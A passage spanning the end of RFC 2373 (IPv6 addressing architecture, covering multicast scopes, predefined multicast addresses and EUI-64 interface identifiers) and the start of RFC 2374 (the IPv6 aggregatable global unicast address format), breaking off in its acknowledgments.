RFC 2373              IPv6 Addressing Architecture             July 1998

   The subnet-router anycast address is intended to be used for
   applications where a node needs to communicate with one of a set of
   routers on a remote subnet.  For example when a mobile host needs to
   communicate with one of the mobile agents on its "home" subnet.

2.7 Multicast Addresses

   An IPv6 multicast address is an identifier for a group of nodes.  A
   node may belong to any number of multicast groups.  Multicast
   addresses have the following format:

   |   8    |  4 |  4 |                  112 bits                   |
   +------ -+----+----+---------------------------------------------+
   |11111111|flgs|scop|                  group ID                   |
   +--------+----+----+---------------------------------------------+

      11111111 at the start of the address identifies the address as
      being a multicast address.

                                    +-+-+-+-+
      flgs is a set of 4 flags:     |0|0|0|T|
                                    +-+-+-+-+

         The high-order 3 flags are reserved, and must be initialized to
         0.

         T = 0 indicates a permanently-assigned ("well-known") multicast
         address, assigned by the global internet numbering authority.

         T = 1 indicates a non-permanently-assigned ("transient")
         multicast address.

      scop is a 4-bit multicast scope value used to limit the scope of
      the multicast group.  The values are:

         0  reserved
         1  node-local scope
         2  link-local scope
         3  (unassigned)
         4  (unassigned)
         5  site-local scope
         6  (unassigned)
         7  (unassigned)
         8  organization-local scope
         9  (unassigned)
         A  (unassigned)
         B  (unassigned)
         C  (unassigned)

Hinden & Deering            Standards Track                    [Page 14]

RFC 2373              IPv6 Addressing Architecture             July 1998

         D  (unassigned)
         E  global scope
         F  reserved

      group ID identifies the multicast group, either permanent or
      transient, within the given scope.

   The "meaning" of a permanently-assigned multicast address is
   independent of the scope value.  For example, if the "NTP servers
   group" is assigned a permanent multicast address with a group ID of
   101 (hex), then:

      FF01:0:0:0:0:0:0:101 means all NTP servers on the same node as the
      sender.

      FF02:0:0:0:0:0:0:101 means all NTP servers on the same link as the
      sender.

      FF05:0:0:0:0:0:0:101 means all NTP servers at the same site as the
      sender.

      FF0E:0:0:0:0:0:0:101 means all NTP servers in the internet.

   Non-permanently-assigned multicast addresses are meaningful only
   within a given scope.  For example, a group identified by the non-
   permanent, site-local multicast address FF15:0:0:0:0:0:0:101 at one
   site bears no relationship to a group using the same address at a
   different site, nor to a non-permanent group using the same group ID
   with different scope, nor to a permanent group with the same group
   ID.

   Multicast addresses must not be used as source addresses in IPv6
   packets or appear in any routing header.

2.7.1 Pre-Defined Multicast Addresses

   The following well-known multicast addresses are pre-defined:

      Reserved Multicast Addresses:   FF00:0:0:0:0:0:0:0
                                      FF01:0:0:0:0:0:0:0
                                      FF02:0:0:0:0:0:0:0
                                      FF03:0:0:0:0:0:0:0
                                      FF04:0:0:0:0:0:0:0
                                      FF05:0:0:0:0:0:0:0
                                      FF06:0:0:0:0:0:0:0
                                      FF07:0:0:0:0:0:0:0
                                      FF08:0:0:0:0:0:0:0
                                      FF09:0:0:0:0:0:0:0

Hinden & Deering            Standards Track                    [Page 15]

RFC 2373              IPv6 Addressing Architecture             July 1998

                                      FF0A:0:0:0:0:0:0:0
                                      FF0B:0:0:0:0:0:0:0
                                      FF0C:0:0:0:0:0:0:0
                                      FF0D:0:0:0:0:0:0:0
                                      FF0E:0:0:0:0:0:0:0
                                      FF0F:0:0:0:0:0:0:0

   The above multicast addresses are reserved and shall never be
   assigned to any multicast group.

      All Nodes Addresses:    FF01:0:0:0:0:0:0:1
                              FF02:0:0:0:0:0:0:1

   The above multicast addresses identify the group of all IPv6 nodes,
   within scope 1 (node-local) or 2 (link-local).

      All Routers Addresses:   FF01:0:0:0:0:0:0:2
                               FF02:0:0:0:0:0:0:2
                               FF05:0:0:0:0:0:0:2

   The above multicast addresses identify the group of all IPv6 routers,
   within scope 1 (node-local), 2 (link-local), or 5 (site-local).

      Solicited-Node Address:  FF02:0:0:0:0:1:FFXX:XXXX

   The above multicast address is computed as a function of a node's
   unicast and anycast addresses.  The solicited-node multicast address
   is formed by taking the low-order 24 bits of the address (unicast or
   anycast) and appending those bits to the prefix
   FF02:0:0:0:0:1:FF00::/104 resulting in a multicast address in the
   range

      FF02:0:0:0:0:1:FF00:0000

   to

      FF02:0:0:0:0:1:FFFF:FFFF

   For example, the solicited node multicast address corresponding to
   the IPv6 address 4037::01:800:200E:8C6C is FF02::1:FF0E:8C6C.  IPv6
   addresses that differ only in the high-order bits, e.g. due to
   multiple high-order prefixes associated with different aggregations,
   will map to the same solicited-node address thereby reducing the
   number of multicast addresses a node must join.

   A node is required to compute and join the associated Solicited-Node
   multicast addresses for every unicast and anycast address it is
   assigned.

Hinden & Deering            Standards Track                    [Page 16]

RFC 2373              IPv6 Addressing Architecture             July 1998

2.7.2 Assignment of New IPv6 Multicast Addresses

   The current approach [ETHER] to map IPv6 multicast addresses into
   IEEE 802 MAC addresses takes the low order 32 bits of the IPv6
   multicast address and uses it to create a MAC address.  Note that
   Token Ring networks are handled differently.  This is defined in
   [TOKEN].  Group ID's less than or equal to 32 bits will generate
   unique MAC addresses.  Due to this new IPv6 multicast addresses
   should be assigned so that the group identifier is always in the low
   order 32 bits as shown in the following:

   |   8    |  4 |  4 |          80 bits          |     32 bits     |
   +------ -+----+----+---------------------------+-----------------+
   |11111111|flgs|scop|   reserved must be zero   |    group ID     |
   +--------+----+----+---------------------------+-----------------+

   While this limits the number of permanent IPv6 multicast groups to
   2^32 this is unlikely to be a limitation in the future.  If it
   becomes necessary to exceed this limit in the future multicast will
   still work but the processing will be sightly slower.

   Additional IPv6 multicast addresses are defined and registered by the
   IANA [MASGN].

2.8 A Node's Required Addresses

   A host is required to recognize the following addresses as
   identifying itself:

      o Its Link-Local Address for each interface
      o Assigned Unicast Addresses
      o Loopback Address
      o All-Nodes Multicast Addresses
      o Solicited-Node Multicast Address for each of its assigned
        unicast and anycast addresses
      o Multicast Addresses of all other groups to which the host
        belongs.

   A router is required to recognize all addresses that a host is
   required to recognize, plus the following addresses as identifying
   itself:

      o The Subnet-Router anycast addresses for the interfaces it is
        configured to act as a router on.
      o All other Anycast addresses with which the router has been
        configured.
      o All-Routers Multicast Addresses

Hinden & Deering            Standards Track                    [Page 17]

RFC 2373              IPv6 Addressing Architecture             July 1998

      o Multicast Addresses of all other groups to which the router
        belongs.

   The only address prefixes which should be predefined in an
   implementation are the:

      o Unspecified Address
      o Loopback Address
      o Multicast Prefix (FF)
      o Local-Use Prefixes (Link-Local and Site-Local)
      o Pre-Defined Multicast Addresses
      o IPv4-Compatible Prefixes

   Implementations should assume all other addresses are unicast unless
   specifically configured (e.g., anycast addresses).

3. Security Considerations

   IPv6 addressing documents do not have any direct impact on Internet
   infrastructure security.  Authentication of IPv6 packets is defined
   in [AUTH].

Hinden & Deering            Standards Track                    [Page 18]

RFC 2373              IPv6 Addressing Architecture             July 1998

APPENDIX A : Creating EUI-64 based Interface Identifiers
--------------------------------------------------------

   Depending on the characteristics of a specific link or node there are
   a number of approaches for creating EUI-64 based interface
   identifiers.  This appendix describes some of these approaches.

Links or Nodes with EUI-64 Identifiers

   The only change needed to transform an EUI-64 identifier to an
   interface identifier is to invert the "u" (universal/local) bit.  For
   example, a globally unique EUI-64 identifier of the form:

   |0              1|1              3|3              4|4              6|
   |0              5|6              1|2              7|8              3|
   +----------------+----------------+----------------+----------------+
   |cccccc0gcccccccc|ccccccccmmmmmmmm|mmmmmmmmmmmmmmmm|mmmmmmmmmmmmmmmm|
   +----------------+----------------+----------------+----------------+

   where "c" are the bits of the assigned company_id, "0" is the value
   of the universal/local bit to indicate global scope, "g" is
   individual/group bit, and "m" are the bits of the manufacturer-
   selected extension identifier.  The IPv6 interface identifier would
   be of the form:

   |0              1|1              3|3              4|4              6|
   |0              5|6              1|2              7|8              3|
   +----------------+----------------+----------------+----------------+
   |cccccc1gcccccccc|ccccccccmmmmmmmm|mmmmmmmmmmmmmmmm|mmmmmmmmmmmmmmmm|
   +----------------+----------------+----------------+----------------+

   The only change is inverting the value of the universal/local bit.

Links or Nodes with IEEE 802 48 bit MAC's

   [EUI64] defines a method to create a EUI-64 identifier from an IEEE
   48bit MAC identifier.  This is to insert two octets, with hexadecimal
   values of 0xFF and 0xFE, in the middle of the 48 bit MAC (between the
   company_id and vendor supplied id).  For example the 48 bit MAC with
   global scope:

   |0              1|1              3|3              4|
   |0              5|6              1|2              7|
   +----------------+----------------+----------------+
   |cccccc0gcccccccc|ccccccccmmmmmmmm|mmmmmmmmmmmmmmmm|
   +----------------+----------------+----------------+

Hinden & Deering            Standards Track                    [Page 19]

RFC 2373              IPv6 Addressing Architecture             July 1998

   where "c" are the bits of the assigned company_id, "0" is the value
   of the universal/local bit to indicate global scope, "g" is
   individual/group bit, and "m" are the bits of the manufacturer-
   selected extension identifier.  The interface identifier would be of
   the form:

   |0              1|1              3|3              4|4              6|
   |0              5|6              1|2              7|8              3|
   +----------------+----------------+----------------+----------------+
   |cccccc1gcccccccc|cccccccc11111111|11111110mmmmmmmm|mmmmmmmmmmmmmmmm|
   +----------------+----------------+----------------+----------------+

   When IEEE 802 48bit MAC addresses are available (on an interface or a
   node), an implementation should use them to create interface
   identifiers due to their availability and uniqueness properties.

Links with Non-Global Identifiers

   There are a number of types of links that, while multi-access, do not
   have globally unique link identifiers.  Examples include LocalTalk
   and Arcnet.  The method to create an EUI-64 formatted identifier is
   to take the link identifier (e.g., the LocalTalk 8 bit node
   identifier) and zero fill it to the left.  For example a LocalTalk 8
   bit node identifier of hexadecimal value 0x4F results in the
   following interface identifier:

   |0              1|1              3|3              4|4              6|
   |0              5|6              1|2              7|8              3|
   +----------------+----------------+----------------+----------------+
   |0000000000000000|0000000000000000|0000000000000000|0000000001001111|
   +----------------+----------------+----------------+----------------+

   Note that this results in the universal/local bit set to "0" to
   indicate local scope.

Links without Identifiers

   There are a number of links that do not have any type of built-in
   identifier.  The most common of these are serial links and configured
   tunnels.  Interface identifiers must be chosen that are unique for
   the link.

   When no built-in identifier is available on a link the preferred
   approach is to use a global interface identifier from another
   interface or one which is assigned to the node itself.  To use this
   approach no other interface connecting the same node to the same link
   may use the same identifier.

Hinden & Deering            Standards Track                    [Page 20]

RFC 2373              IPv6 Addressing Architecture             July 1998

   If there is no global interface identifier available for use on the
   link the implementation needs to create a local scope interface
   identifier.  The only requirement is that it be unique on the link.
   There are many possible approaches to select a link-unique interface
   identifier.  They include:

      Manual Configuration
      Generated Random Number
      Node Serial Number (or other node-specific token)

   The link-unique interface identifier should be generated in a manner
   that it does not change after a reboot of a node or if interfaces are
   added or deleted from the node.

   The selection of the appropriate algorithm is link and implementation
   dependent.  The details on forming interface identifiers are defined
   in the appropriate "IPv6 over <link>" specification.  It is strongly
   recommended that a collision detection algorithm be implemented as
   part of any automatic algorithm.

Hinden & Deering            Standards Track                    [Page 21]

RFC 2373              IPv6 Addressing Architecture             July 1998

APPENDIX B: ABNF Description of Text Representations
----------------------------------------------------

   This appendix defines the text representation of IPv6 addresses and
   prefixes in Augmented BNF [ABNF] for reference purposes.

      IPv6address = hexpart [ ":" IPv4address ]
      IPv4address = 1*3DIGIT "." 1*3DIGIT "." 1*3DIGIT "." 1*3DIGIT

      IPv6prefix  = hexpart "/" 1*2DIGIT

      hexpart = hexseq | hexseq "::" [ hexseq ] | "::" [ hexseq ]
      hexseq  = hex4 *( ":" hex4)
      hex4    = 1*4HEXDIG

Hinden & Deering            Standards Track                    [Page 22]

RFC 2373              IPv6 Addressing Architecture             July 1998

APPENDIX C: CHANGES FROM RFC-1884
---------------------------------

   The following changes were made from RFC-1884 "IP Version 6
   Addressing Architecture":

      - Added an appendix providing a ABNF description of text
        representations.
      - Clarification that link unique identifiers not change after
        reboot or other interface reconfigurations.
      - Clarification of Address Model based on comments.
      - Changed aggregation format terminology to be consistent with
        aggregation draft.
      - Added text to allow interface identifier to be used on more than
        one interface on same node.
      - Added rules for defining new multicast addresses.
      - Added appendix describing procedures for creating EUI-64 based
        interface ID's.
      - Added notation for defining IPv6 prefixes.
      - Changed solicited node multicast definition to use a longer
        prefix.
      - Added site scope all routers multicast address.
      - Defined Aggregatable Global Unicast Addresses to use "001" Format
        Prefix.
      - Changed "010" (Provider-Based Unicast) and "100" (Reserved for
        Geographic) Format Prefixes to Unassigned.
      - Added section on Interface ID definition for unicast addresses.
        Requires use of EUI-64 in range of format prefixes and rules for
        setting global/local scope bit in EUI-64.
      - Updated NSAP text to reflect working in RFC1888.
      - Removed protocol specific IPv6 multicast addresses (e.g., DHCP)
        and referenced the IANA definitions.
      - Removed section "Unicast Address Example".  Had become OBE.
      - Added new and updated references.
      - Minor text clarifications and improvements.

Hinden & Deering            Standards Track                    [Page 23]

RFC 2373              IPv6 Addressing Architecture             July 1998

REFERENCES

   [ABNF]    Crocker, D., and P. Overell, "Augmented BNF for
             Syntax Specifications: ABNF", RFC 2234, November 1997.

   [AGGR]    Hinden, R., O'Dell, M., and S. Deering, "An
             Aggregatable Global Unicast Address Format", RFC 2374, July
             1998.

   [AUTH]    Atkinson, R., "IP Authentication Header", RFC 1826, August
             1995.

   [ANYCST]  Partridge, C., Mendez, T., and W. Milliken, "Host
             Anycasting Service", RFC 1546, November 1993.

   [CIDR]    Fuller, V., Li, T., Yu, J., and K. Varadhan, "Classless
             Inter-Domain Routing (CIDR): An Address Assignment and
             Aggregation Strategy", RFC 1519, September 1993.

   [ETHER]   Crawford, M., "Transmission of IPv6 Pacekts over Ethernet
             Networks", Work in Progress.

   [EUI64]   IEEE, "Guidelines for 64-bit Global Identifier (EUI-64)
             Registration Authority",
             http://standards.ieee.org/db/oui/tutorials/EUI64.html,
             March 1997.

   [FDDI]    Crawford, M., "Transmission of IPv6 Packets over FDDI
             Networks", Work in Progress.

   [IPV6]    Deering, S., and R. Hinden, Editors, "Internet Protocol,
             Version 6 (IPv6) Specification", RFC 1883, December 1995.

   [MASGN]   Hinden, R., and S. Deering, "IPv6 Multicast Address
             Assignments", RFC 2375, July 1998.

   [NSAP]    Bound, J., Carpenter, B., Harrington, D., Houldsworth, J.,
             and A. Lloyd, "OSI NSAPs and IPv6", RFC 1888, August 1996.

   [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate
             Requirement Levels", BCP 14, RFC 2119, March 1997.

   [TOKEN]   Thomas, S., "Transmission of IPv6 Packets over Token Ring
             Networks", Work in Progress.

   [TRAN]    Gilligan, R., and E. Nordmark, "Transition Mechanisms for
             IPv6 Hosts and Routers", RFC 1993, April 1996.

Hinden & Deering            Standards Track                    [Page 24]

RFC 2373              IPv6 Addressing Architecture             July 1998

AUTHORS' ADDRESSES

   Robert M. Hinden
   Nokia
   232 Java Drive
   Sunnyvale, CA 94089
   USA

   Phone: +1 408 990-2004
   Fax:   +1 408 743-5677
   EMail: hinden@iprg.nokia.com

   Stephen E. Deering
   Cisco Systems, Inc.
   170 West Tasman Drive
   San Jose, CA 95134-1706
   USA

   Phone: +1 408 527-8213
   Fax:   +1 408 527-8254
   EMail: deering@cisco.com

Hinden & Deering            Standards Track                    [Page 25]

RFC 2373              IPv6 Addressing Architecture             July 1998

Full Copyright Statement

   Copyright (C) The Internet Society (1998).  All Rights Reserved.

   This document and translations of it may be copied and furnished to
   others, and derivative works that comment on or otherwise explain it
   or assist in its implementation may be prepared, copied, published
   and distributed, in whole or in part, without restriction of any
   kind, provided that the above copyright notice and this paragraph are
   included on all such copies and derivative works.  However, this
   document itself may not be modified in any way, such as by removing
   the copyright notice or references to the Internet Society or other
   Internet organizations, except as needed for the purpose of
   developing Internet standards in which case the procedures for
   copyrights defined in the Internet Standards process must be
   followed, or as required to translate it into languages other than
   English.

   The limited permissions granted above are perpetual and will not be
   revoked by the Internet Society or its successors or assigns.

   This document and the information contained herein is provided on an
   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.

Hinden & Deering            Standards Track                    [Page 26]


Network Working Group                                        R. Hinden
Request for Comments: 2374                                       Nokia
Obsoletes: 2073                                              M. O'Dell
Category: Standards Track                                        UUNET
                                                            S. Deering
                                                                 Cisco
                                                             July 1998

           An IPv6 Aggregatable Global Unicast Address Format

Status of this Memo

   This document specifies an Internet standards track protocol for the
   Internet community, and requests discussion and suggestions for
   improvements.  Please refer to the current edition of the "Internet
   Official Protocol Standards" (STD 1) for the standardization state
   and status of this protocol.  Distribution of this memo is unlimited.

Copyright Notice

   Copyright (C) The Internet Society (1998).  All Rights Reserved.

1.0 Introduction

   This document defines an IPv6 aggregatable global unicast address
   format for use in the Internet.  The address format defined in this
   document is consistent with the IPv6 Protocol [IPV6] and the "IPv6
   Addressing Architecture" [ARCH].  It is designed to facilitate
   scalable Internet routing.

   This documented replaces RFC 2073, "An IPv6 Provider-Based Unicast
   Address Format".  RFC 2073 will become historic.  The Aggregatable
   Global Unicast Address Format is an improvement over RFC 2073 in a
   number of areas.  The major changes include removal of the registry
   bits because they are not needed for route aggregation, support of
   EUI-64 based interface identifiers, support of provider and exchange
   based aggregation, separation of public and site topology, and new
   aggregation based terminology.

   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
   document are to be interpreted as described in [RFC 2119].

Hinden, et. al.             Standards Track                     [Page 1]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

2.0 Overview of the IPv6 Address

   IPv6 addresses are 128-bit identifiers for interfaces and sets of
   interfaces.  There are three types of addresses: Unicast, Anycast,
   and Multicast.  This document defines a specific type of Unicast
   address.

   In this document, fields in addresses are given specific names, for
   example "subnet".  When this name is used with the term "ID" (for
   "identifier") after the name (e.g., "subnet ID"), it refers to the
   contents of the named field.  When it is used with the term "prefix"
   (e.g.  "subnet prefix") it refers to all of the addressing bits to
   the left of and including this field.

   IPv6 unicast addresses are designed assuming that the Internet
   routing system makes forwarding decisions based on a "longest prefix
   match" algorithm on arbitrary bit boundaries and does not have any
   knowledge of the internal structure of IPv6 addresses.  The structure
   in IPv6 addresses is for assignment and allocation.  The only
   exception to this is the distinction made between unicast and
   multicast addresses.

   The specific type of an IPv6 address is indicated by the leading bits
   in the address.  The variable-length field comprising these leading
   bits is called the Format Prefix (FP).

   This document defines an address format for the 001 (binary) Format
   Prefix for Aggregatable Global Unicast addresses. The same address
   format could be used for other Format Prefixes, as long as these
   Format Prefixes also identify IPv6 unicast addresses.  Only the "001"
   Format Prefix is defined here.

3.0 IPv6 Aggregatable Global Unicast Address Format

   This document defines an address format for the IPv6 aggregatable
   global unicast address assignment.  The authors believe that this
   address format will be widely used for IPv6 nodes connected to the
   Internet.  This address format is designed to support both the
   current provider-based aggregation and a new type of exchange-based
   aggregation.  The combination will allow efficient routing
   aggregation for sites that connect directly to providers and for
   sites that connect to exchanges.  Sites will have the choice to
   connect to either type of aggregation entity.

Hinden, et. al.             Standards Track                     [Page 2]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   While this address format is designed to support exchange-based
   aggregation (in addition to current provider-based aggregation) it is
   not dependent on exchanges for it's overall route aggregation
   properties.  It will provide efficient route aggregation with only
   provider-based aggregation.

   Aggregatable addresses are organized into a three level hierarchy:

      - Public Topology
      - Site Topology
      - Interface Identifier

   Public topology is the collection of providers and exchanges who
   provide public Internet transit services.  Site topology is local to
   a specific site or organization which does not provide public transit
   service to nodes outside of the site.  Interface identifiers identify
   interfaces on links.

        ______________                  ______________
    --+/              \+--------------+/              \+----------
      (       P1       )    +----+    (       P3       )  +----+
      +\______________/     |    |----+\______________/+--|    |--
      |                  +--| X1 |                       +| X2 |
      | ______________  /   |    |-+    ______________  / |    |--
      +/              \+    +-+--+  \  /              \+  +----+
      (       P2       )     / \     +(      P4        )
    --+\______________/     /   \      \______________/
           |               /     \           |      |
           |              /       |          |      |
           |             /        |          |      |
          _|_          _/_       _|_        _|_    _|_
         /   \        /   \     /   \      /   \  /   \
        ( S.A )      ( S.B )   ( P5  )    ( P6  )( S.C )
         \___/        \___/     \___/      \___/  \___/
                                  |          / \
                                 _|_       _/_  \   ___
                                /   \     /   \  +-/   \
                               ( S.D )   ( S.E )  ( S.F )
                                \___/     \___/    \___/

   As shown in the figure above, the aggregatable address format is
   designed to support long-haul providers (shown as P1, P2, P3, and
   P4), exchanges (shown as X1 and X2), multiple levels of providers
   (shown at P5 and P6), and subscribers (shown as S.x) Exchanges
   (unlike current NAPs, FIXes, etc.) will allocate IPv6 addresses.
   Organizations who connect to these exchanges will also subscribe
   (directly, indirectly via the exchange, etc.) for long-haul service
   from one or more long-haul providers.  Doing so, they will achieve

Hinden, et. al.             Standards Track                     [Page 3]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   addressing independence from long-haul transit providers.  They will
   be able to change long-haul providers without having to renumber
   their organization.  They can also be multihomed via the exchange to
   more than one long-haul provider without having to have address
   prefixes from each long-haul provider.  Note that the mechanisms used
   for this type of provider selection and portability are not discussed
   in the document.

3.1 Aggregatable Global Unicast Address Structure

   The aggregatable global unicast address format is as follows:

     | 3|  13 | 8 |   24   |   16   |          64 bits               |
     +--+-----+---+--------+--------+--------------------------------+
     |FP| TLA |RES|  NLA   |  SLA   |         Interface ID           |
     |  | ID  |   |  ID    |  ID    |                                |
     +--+-----+---+--------+--------+--------------------------------+

     <--Public Topology--->   Site
                           <-------->
                            Topology
                                     <------Interface Identifier----->

   Where

      FP           Format Prefix (001)
      TLA ID       Top-Level Aggregation Identifier
      RES          Reserved for future use
      NLA ID       Next-Level Aggregation Identifier
      SLA ID       Site-Level Aggregation Identifier
      INTERFACE ID Interface Identifier

   The following sections specify each part of the IPv6 Aggregatable
   Global Unicast address format.

3.2 Top-Level Aggregation ID

   Top-Level Aggregation Identifiers (TLA ID) are the top level in the
   routing hierarchy.  Default-free routers must have a routing table
   entry for every active TLA ID and will probably have additional
   entries providing routing information for the TLA ID in which they
   are located.  They may have additional entries in order to optimize
   routing for their specific topology, but the routing topology at all
   levels must be designed to minimize the number of additional entries
   fed into the default free routing tables.

Hinden, et. al.             Standards Track                     [Page 4]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   This addressing format supports 8,192 (2^13) TLA ID's.  Additional
   TLA ID's may be added by either growing the TLA field to the right
   into the reserved field or by using this format for additional format
   prefixes.

   The issues relating to TLA ID assignment are beyond the scope of this
   document.  They will be described in a document under preparation.

3.3 Reserved

   The Reserved field is reserved for future use and must be set to
   zero.

   The Reserved field allows for future growth of the TLA and NLA fields
   as appropriate.  See section 4.0 for a discussion.

3.4 Next-Level Aggregation Identifier

   Next-Level Aggregation Identifier's are used by organizations
   assigned a TLA ID to create an addressing hierarchy and to identify
   sites.  The organization can assign the top part of the NLA ID in a
   manner to create an addressing hierarchy appropriate to its network.
   It can use the remainder of the bits in the field to identify sites
   it wishes to serve.  This is shown as follows:

      |  n  |      24-n bits     |   16   |    64 bits      |
      +-----+--------------------+--------+-----------------+
      |NLA1 |      Site ID       | SLA ID | Interface ID    |
      +-----+--------------------+--------+-----------------+

   Each organization assigned a TLA ID receives 24 bits of NLA ID space.
   This NLA ID space allows each organization to provide service to
   approximately as many organizations as the current IPv4 Internet can
   support total networks.

   Organizations assigned TLA ID's may also support NLA ID's in their
   own Site ID space.  This allows the organization assigned a TLA ID to
   provide service to organizations providing public transit service and
   to organizations who do not provide public transit service.  These
   organizations receiving an NLA ID may also choose to use their Site
   ID space to support other NLA ID's.  This is shown as follows:

Hinden, et. al.             Standards Track                     [Page 5]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   |  n  |      24-n bits     |   16   |    64 bits      |
   +-----+--------------------+--------+-----------------+
   |NLA1 |      Site ID       | SLA ID | Interface ID    |
   +-----+--------------------+--------+-----------------+

         |  m  |    24-n-m    |   16   |    64 bits      |
         +-----+--------------+--------+-----------------+
         |NLA2 |   Site ID    | SLA ID | Interface ID    |
         +-----+--------------+--------+-----------------+

               |  o  |24-n-m-o|   16   |    64 bits      |
               +-----+--------+--------+-----------------+
               |NLA3 | Site ID| SLA ID | Interface ID    |
               +-----+--------+--------+-----------------+

   The design of the bit layout of the NLA ID space for a specific TLA
   ID is left to the organization responsible for that TLA ID.  Likewise
   the design of the bit layout of the next level NLA ID is the
   responsibility of the previous level NLA ID.  It is recommended that
   organizations assigning NLA address space use "slow start" allocation
   procedures similar to [RFC2050].

   The design of an NLA ID allocation plan is a tradeoff between routing
   aggregation efficiency and flexibility.  Creating hierarchies allows
   for greater amount of aggregation and results in smaller routing
   tables.  Flat NLA ID assignment provides for easier allocation and
   attachment flexibility, but results in larger routing tables.

3.5 Site-Level Aggregation Identifier

   The SLA ID field is used by an individual organization to create its
   own local addressing hierarchy and to identify subnets.  This is
   analogous to subnets in IPv4 except that each organization has a much
   greater number of subnets.  The 16 bit SLA ID field support 65,535
   individual subnets.

   Organizations may choose to either route their SLA ID "flat" (e.g.,
   not create any logical relationship between the SLA identifiers that
   results in larger routing tables), or to create a two or more level
   hierarchy (that results in smaller routing tables) in the SLA ID
   field.  The latter is shown as follows:

Hinden, et. al.             Standards Track                     [Page 6]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   |  n  |   16-n     |              64 bits                |
   +-----+------------+-------------------------------------+
   |SLA1 |   Subnet   |            Interface ID             |
   +-----+------------+-------------------------------------+

         | m  |16-n-m |              64 bits                |
         +----+-------+-------------------------------------+
         |SLA2|Subnet |            Interface ID             |
         +----+-------+-------------------------------------+

   The approach chosen for structuring an SLA ID field is the
   responsibility of the individual organization.

   The number of subnets supported in this address format should be
   sufficient for all but the largest of organizations.  Organizations
   which need additional subnets can arrange with the organization they
   are obtaining Internet service from to obtain additional site
   identifiers and use this to create additional subnets.

3.6 Interface ID

   Interface identifiers are used to identify interfaces on a link.
   They are required to be unique on that link.  They may also be unique
   over a broader scope.  In many cases an interfaces identifier will be
   the same or be based on the interface's link-layer address.
   Interface IDs used in the aggregatable global unicast address format
   are required to be 64 bits long and to be constructed in IEEE EUI-64
   format [EUI-64].  These identifiers may have global scope when a
   global token (e.g., IEEE 48bit MAC) is available or may have local
   scope where a global token is not available (e.g., serial links,
   tunnel end-points, etc.).  The "u" bit (universal/local bit in IEEE
   EUI-64 terminology) in the EUI-64 identifier must be set correctly,
   as defined in [ARCH], to indicate global or local scope.

   The procedures for creating EUI-64 based Interface Identifiers is
   defined in [ARCH].  The details on forming interface identifiers is
   defined in the appropriate "IPv6 over <link>" specification such as
   "IPv6 over Ethernet" [ETHER], "IPv6 over FDDI" [FDDI], etc.

4.0 Technical Motivation

   The design choices for the size of the fields in the aggregatable
   address format were based on the need to meet a number of technical
   requirements.  These are described in the following paragraphs.

   The size of the Top-Level Aggregation Identifier is 13 bits.  This
   allows for 8,192 TLA ID's.  This size was chosen to insure that the
   default-free routing table in top level routers in the Internet is

Hinden, et. al.             Standards Track                     [Page 7]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   kept within the limits, with a reasonable margin, of the current
   routing technology.  The margin is important because default-free
   routers will also carry a significant number of longer (i.e., more-
   specific) prefixes for optimizing paths internal to a TLA and between
   TLAs.

   The important issue is not only the size of the default-free routing
   table, but the complexity of the topology that determines the number
   of copies of the default-free routes that a router must examine while
   computing a forwarding table.  Current practice with IPv4 it is
   common to see a prefix announced fifteen times via different paths.

   The complexity of Internet topology is very likely to increase in the
   future.  It is important that IPv6 default-free routing support
   additional complexity as well as a considerably larger internet.

   It should be noted for comparison that at the time of this writing
   (spring, 1998) the IPv4 default-free routing table contains
   approximately 50,000 prefixes.  While this shows that it is possible
   to support more routes than 8,192 it is matter of debate if the
   number of prefixes supported today in IPv4 is already too high for
   current routing technology.  There are serious issues of route
   stability as well as cases of providers not supporting all top level
   prefixes.  The technical requirement was to pick a TLA ID size that
   was below, with a reasonable margin, what was being done with IPv4.

   The choice of 13 bits for the TLA field was an engineering
   compromise.  Fewer bits would have been too small by not supporting
   enough top level organizations.  More bits would have exceeded what
   can be reasonably accommodated, with a reasonable margin, with
   current routing technology in order to deal with the issues described
   in the previous paragraphs.

   If in the future, routing technology improves to support a larger
   number of top level routes in the default-free routing tables there
   are two choices on how to increase the number TLA identifiers.  The
   first is to expand the TLA ID field into the reserved field.  This
   would increase the number of TLA ID's to approximately 2 million.
   The second approach is to allocate another format prefix (FP) for use
   with this address format.  Either or a combination of these
   approaches allows the number of TLA ID's to increase significantly.

   The size of the Reserved field is 8 bits.  This size was chosen to
   allow significant growth of either the TLA ID and/or the NLA ID
   fields.

   The size of the Next-Level Aggregation Identifier field is 24 bits.

Hinden, et. al.             Standards Track                     [Page 8]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   This allows for approximately sixteen million NLA ID's if used in a
   flat manner.  Used hierarchically it allows for a complexity roughly
   equivalent to the IPv4 address space (assuming an average network
   size of 254 interfaces).  If in the future additional room for
   complexity is needed in the NLA ID, this may be accommodated by
   extending the NLA ID into the Reserved field.

   The size of the Site-Level Aggregation Identifier field is 16 bits.
   This supports 65,535 individual subnets per site.  The design goal
   for the size of this field was to be sufficient for all but the
   largest of organizations.  Organizations which need additional
   subnets can arrange with the organization they are obtaining Internet
   service from to obtain additional site identifiers and use this to
   create additional subnets.

   The Site-Level Aggregation Identifier field was given a fixed size in
   order to force the length of all prefixes identifying a particular
   site to be the same length (i.e., 48 bits).  This facilitates
   movement of sites in the topology (e.g., changing service providers
   and multi-homing to multiple service providers).

   The Interface ID Interface Identifier field is 64 bits.  This size
   was chosen to meet the requirement specified in [ARCH] to support
   EUI-64 based Interface Identifiers.

5.0 Acknowledgments

   The authors would like to express our thanks to Thomas Narten, Bob
   Fink, Matt Crawford, Allison Mankin, Jim Bound, Christian Huitema,
   Scott Bradner, Brian Carpenter, John Stewart, and Daniel Karrenberg
